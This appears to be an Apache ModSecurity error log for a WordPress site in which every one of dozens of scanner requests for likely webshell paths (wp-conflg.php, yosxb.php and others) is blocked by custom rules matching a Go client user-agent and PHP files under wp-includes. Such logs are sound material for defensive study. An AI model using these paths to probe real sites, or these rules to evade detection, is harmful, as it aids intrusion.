[Mon May 25 23:13:40.973490 2026] [:error] [pid 62427:tid 62477] [client 194.5.82.22:45829] [client 194.5.82.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-cache-sys/file.php"] [unique_id "ahRnJPMUa83fc4GDyByQHAAAAVQ"]
[Mon May 25 23:13:41.186278 2026] [:error] [pid 53791:tid 53815] [client 194.5.82.26:31977] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/chillbud/inc/content/templates/"] [unique_id "ahRnJSCRhhNTD40Nf1U4SQAAAZY"]
[Mon May 25 23:13:41.402163 2026] [:error] [pid 62426:tid 62431] [client 194.5.82.46:24225] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/revslider/admin/assets/js/plugins/admin.php"] [unique_id "ahRnJUj3D3Mo8ANpTRA0bQAAAAE"]
[Mon May 25 23:13:41.616364 2026] [:error] [pid 62427:tid 62474] [client 194.5.82.12:23889] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp-load.php"] [unique_id "ahRnJfMUa83fc4GDyByQHwAAAVE"]
[Mon May 25 23:13:41.827960 2026] [:error] [pid 62427:tid 62471] [client 194.5.82.40:50781] [client 194.5.82.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/js_composer/assets/lib/bower/vcIconPicker/themes/xmlrpc.php"] [unique_id "ahRnJfMUa83fc4GDyByQIgAAAU4"]
[Mon May 25 23:13:42.069514 2026] [:error] [pid 62426:tid 62432] [client 194.5.82.17:27379] [client 194.5.82.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/js_composer/assets/lib/bower/nivoslider/themes/module.php"] [unique_id "ahRnJkj3D3Mo8ANpTRA0bgAAAAI"]
[Mon May 25 23:13:42.281871 2026] [:error] [pid 62426:tid 62445] [client 194.5.82.29:30321] [client 194.5.82.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/wp-conflg.php"] [unique_id "ahRnJkj3D3Mo8ANpTRA0cAAAAA8"]
[Mon May 25 23:13:42.495771 2026] [:error] [pid 62426:tid 62437] [client 194.5.82.38:53241] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/js_composer/include/classes/vendors/plugins/login.php"] [unique_id "ahRnJkj3D3Mo8ANpTRA0cgAAAAc"]
[Mon May 25 23:13:42.706103 2026] [:error] [pid 62427:tid 62481] [client 194.5.82.13:64941] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/themes/api.php"] [unique_id "ahRnJvMUa83fc4GDyByQJAAAAVg"]
[Mon May 25 23:13:42.918483 2026] [:error] [pid 62427:tid 62463] [client 194.5.82.33:61493] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/wp-load.php"] [unique_id "ahRnJvMUa83fc4GDyByQJQAAAUY"]
[Mon May 25 23:13:43.130569 2026] [:error] [pid 62428:tid 62493] [client 194.5.82.32:52785] [client 194.5.82.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/js_composer/include/classes/vendors/plugins/users.php"] [unique_id "ahRnJ5NosGBa7mui3VR77gAAAIk"]
[Mon May 25 23:13:43.372334 2026] [:error] [pid 53791:tid 53813] [client 194.5.82.18:38639] [client 194.5.82.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/js_composer/assets/js/frontend_editor/vendors/plugins/xmlrpc.php"] [unique_id "ahRnJyCRhhNTD40Nf1U4SwAAAZQ"]
[Mon May 25 23:13:43.587679 2026] [:error] [pid 62428:tid 62491] [client 194.5.82.19:50139] [client 194.5.82.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/js_composer/assets/lib/vc_chart/"] [unique_id "ahRnJ5NosGBa7mui3VR77wAAAIc"]
[Mon May 25 23:13:43.798747 2026] [:error] [pid 62515:tid 62528] [client 194.5.82.27:45285] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/"] [unique_id "ahRnJxig0_XsOwmnrv9pVQAAAMs"]
[Mon May 25 23:13:44.012299 2026] [:error] [pid 62428:tid 62498] [client 194.5.82.4:53027] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/js_composer/assets/lib/vc_chart/about.php"] [unique_id "ahRnKJNosGBa7mui3VR78QAAAI4"]
[Mon May 25 23:13:44.226861 2026] [:error] [pid 62426:tid 62451] [client 194.5.82.27:65313] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/the-events-calendar/common/vendor/vendor-prefixed/monolog/monolog/about.php"] [unique_id "ahRnKEj3D3Mo8ANpTRA0dAAAABU"]
[Mon May 25 23:13:44.438558 2026] [:error] [pid 62426:tid 62444] [client 194.5.82.25:49093] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/essential-grid/public/assets/font/fontello/css/about.php"] [unique_id "ahRnKEj3D3Mo8ANpTRA0dgAAAA4"]
[Mon May 25 23:13:44.678049 2026] [:error] [pid 53791:tid 53795] [client 194.5.82.12:26463] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/yosxb.php"] [unique_id "ahRnKCCRhhNTD40Nf1U4TQAAAYI"]
[Mon May 25 23:13:44.891221 2026] [:error] [pid 62426:tid 62453] [client 194.5.82.48:52375] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-supports/222.php"] [unique_id "ahRnKEj3D3Mo8ANpTRA0dwAAABc"]
[Mon May 25 23:13:45.108217 2026] [:error] [pid 62426:tid 62442] [client 194.5.82.29:22171] [client 194.5.82.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/block-directory/"] [unique_id "ahRnKUj3D3Mo8ANpTRA0eQAAAAw"]
[Mon May 25 23:13:45.320044 2026] [:error] [pid 62426:tid 62452] [client 194.5.82.33:50419] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentynineteen/sass/forms/"] [unique_id "ahRnKUj3D3Mo8ANpTRA0ewAAABY"]
[Mon May 25 23:13:45.529645 2026] [:error] [pid 62427:tid 62480] [client 194.5.82.31:22049] [client 194.5.82.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/mmm.php"] [unique_id "ahRnKfMUa83fc4GDyByQKQAAAVc"]
[Mon May 25 23:13:45.790144 2026] [:error] [pid 62722:tid 62742] [client 194.5.82.5:46779] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/widgets-form-function.php"] [unique_id "ahRnKaM6ssnLWYf6CVBfqAAAAFI"]
[Mon May 25 23:13:46.000771 2026] [:error] [pid 62426:tid 62448] [client 194.5.82.53:62471] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/true.php"] [unique_id "ahRnKUj3D3Mo8ANpTRA0fgAAABI"]
[Mon May 25 23:13:46.805955 2026] [:error] [pid 62427:tid 62465] [client 194.5.82.14:52811] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Proxy/"] [unique_id "ahRnKvMUa83fc4GDyByQKwAAAUg"]
[Mon May 25 23:13:47.019721 2026] [:error] [pid 62426:tid 62430] [client 194.5.82.20:35635] [client 194.5.82.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/wp-canser.php"] [unique_id "ahRnK0j3D3Mo8ANpTRA0gAAAAAA"]
[Mon May 25 23:13:47.238315 2026] [:error] [pid 62427:tid 62473] [client 194.5.82.52:28533] [client 194.5.82.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/177.php"] [unique_id "ahRnK_MUa83fc4GDyByQLQAAAVA"]
[Mon May 25 23:13:47.458938 2026] [:error] [pid 62426:tid 62451] [client 194.5.82.11:29989] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/doc.php"] [unique_id "ahRnK0j3D3Mo8ANpTRA0hAAAABU"]
[Mon May 25 23:13:47.675642 2026] [:error] [pid 62426:tid 62444] [client 194.5.82.29:34533] [client 194.5.82.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/mariju.php"] [unique_id "ahRnK0j3D3Mo8ANpTRA0hgAAAA4"]
[Mon May 25 23:13:47.888354 2026] [:error] [pid 62427:tid 62471] [client 194.5.82.5:58539] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/install-helper-new.php"] [unique_id "ahRnK_MUa83fc4GDyByQLgAAAU4"]
[Mon May 25 23:13:48.287278 2026] [:error] [pid 62427:tid 62481] [client 194.5.82.44:24771] [client 194.5.82.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/site-title-restful.php"] [unique_id "ahRnLPMUa83fc4GDyByQMQAAAVg"]
[Mon May 25 23:13:48.687169 2026] [:error] [pid 62428:tid 62496] [client 194.5.82.5:22061] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/options-discussion-statement.php"] [unique_id "ahRnLJNosGBa7mui3VR79QAAAIw"]
[Mon May 25 23:13:48.902744 2026] [:error] [pid 62515:tid 62525] [client 194.5.82.18:54985] [client 194.5.82.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/xmrlpc.php"] [unique_id "ahRnLBig0_XsOwmnrv9pVwAAAMg"]
[Mon May 25 23:13:49.113823 2026] [:error] [pid 62515:tid 62521] [client 194.5.82.16:42837] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/connects.php"] [unique_id "ahRnLRig0_XsOwmnrv9pWAAAAMQ"]
[Mon May 25 23:13:49.328290 2026] [:error] [pid 62515:tid 62527] [client 194.5.82.49:42797] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/well-known/acme-challenge/g/assets/msbp/admin.php"] [unique_id "ahRnLRig0_XsOwmnrv9pWgAAAMo"]
[Mon May 25 23:13:49.574421 2026] [:error] [pid 62515:tid 62522] [client 194.5.82.16:25369] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/upload.php"] [unique_id "ahRnLRig0_XsOwmnrv9pXAAAAMU"]
[Mon May 25 23:13:49.786244 2026] [:error] [pid 62515:tid 62531] [client 194.5.82.8:60983] [client 194.5.82.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp/content/aswfy/admin.php"] [unique_id "ahRnLRig0_XsOwmnrv9pXQAAAM4"]
[Mon May 25 23:13:49.997520 2026] [:error] [pid 62515:tid 62519] [client 194.5.82.26:32289] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/rute.php"] [unique_id "ahRnLRig0_XsOwmnrv9pYAAAAMI"]
[Mon May 25 23:13:50.208213 2026] [:error] [pid 62515:tid 62524] [client 194.5.82.46:63829] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/htt.php"] [unique_id "ahRnLhig0_XsOwmnrv9pYQAAAMc"]
[Mon May 25 23:13:50.421980 2026] [:error] [pid 62515:tid 62529] [client 194.5.82.28:26999] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/query-pagination/yosxb.php"] [unique_id "ahRnLhig0_XsOwmnrv9pZAAAAMw"]
[Mon May 25 23:13:50.669983 2026] [:error] [pid 62427:tid 62460] [client 194.5.82.28:53257] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ezra-backup/"] [unique_id "ahRnLvMUa83fc4GDyByQMwAAAUM"]
[Mon May 25 23:13:50.901944 2026] [:error] [pid 62515:tid 62526] [client 194.5.82.46:47411] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/custom-cms/"] [unique_id "ahRnLhig0_XsOwmnrv9paAAAAMk"]
[Mon May 25 23:13:51.117138 2026] [:error] [pid 62427:tid 62480] [client 194.5.82.10:20039] [client 194.5.82.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/default/"] [unique_id "ahRnL_MUa83fc4GDyByQNAAAAVc"]
[Mon May 25 23:13:51.561571 2026] [:error] [pid 62426:tid 62452] [client 194.5.82.13:35501] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/joel-test123/"] [unique_id "ahRnL0j3D3Mo8ANpTRA0jAAAABY"]
[Mon May 25 23:13:51.788093 2026] [:error] [pid 62427:tid 62467] [client 194.5.82.45:51801] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/okbkh/content-"] [unique_id "ahRnL_MUa83fc4GDyByQNgAAAUo"]
[Mon May 25 23:13:52.001777 2026] [:error] [pid 62426:tid 62432] [client 194.5.82.42:39811] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/simple.php"] [unique_id "ahRnMEj3D3Mo8ANpTRA0jgAAAAI"]
[Mon May 25 23:13:52.211881 2026] [:error] [pid 62427:tid 62457] [client 194.5.82.42:23827] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/simple.php"] [unique_id "ahRnMPMUa83fc4GDyByQNwAAAUA"]
[Mon May 25 23:13:52.424327 2026] [:error] [pid 62515:tid 62531] [client 194.5.82.41:43085] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/simple.php"] [unique_id "ahRnMBig0_XsOwmnrv9pagAAAM4"]
[Mon May 25 23:13:52.696785 2026] [:error] [pid 3698:tid 3713] [client 194.5.82.26:64131] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/css/wp-conflg.php"] [unique_id "ahRnMAtZBEwA4fyFLKMKEgAAAQ0"]
[Mon May 25 23:13:52.906960 2026] [:error] [pid 3698:tid 3700] [client 194.5.82.12:30973] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/img/bg/chosen.php"] [unique_id "ahRnMAtZBEwA4fyFLKMKEwAAAQA"]
[Mon May 25 23:13:53.118020 2026] [:error] [pid 62427:tid 62468] [client 194.5.82.8:61571] [client 194.5.82.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/chosen.php"] [unique_id "ahRnMfMUa83fc4GDyByQOQAAAUs"]
[Mon May 25 23:13:53.329210 2026] [:error] [pid 53791:tid 53806] [client 194.5.82.39:34247] [client 194.5.82.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ashyihk.php"] [unique_id "ahRnMSCRhhNTD40Nf1U4UAAAAY0"]
[Mon May 25 23:13:53.572740 2026] [:error] [pid 62515:tid 62519] [client 194.5.82.18:53573] [client 194.5.82.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/ads-txt/inc/wap1.php"] [unique_id "ahRnMRig0_XsOwmnrv9pawAAAMI"]
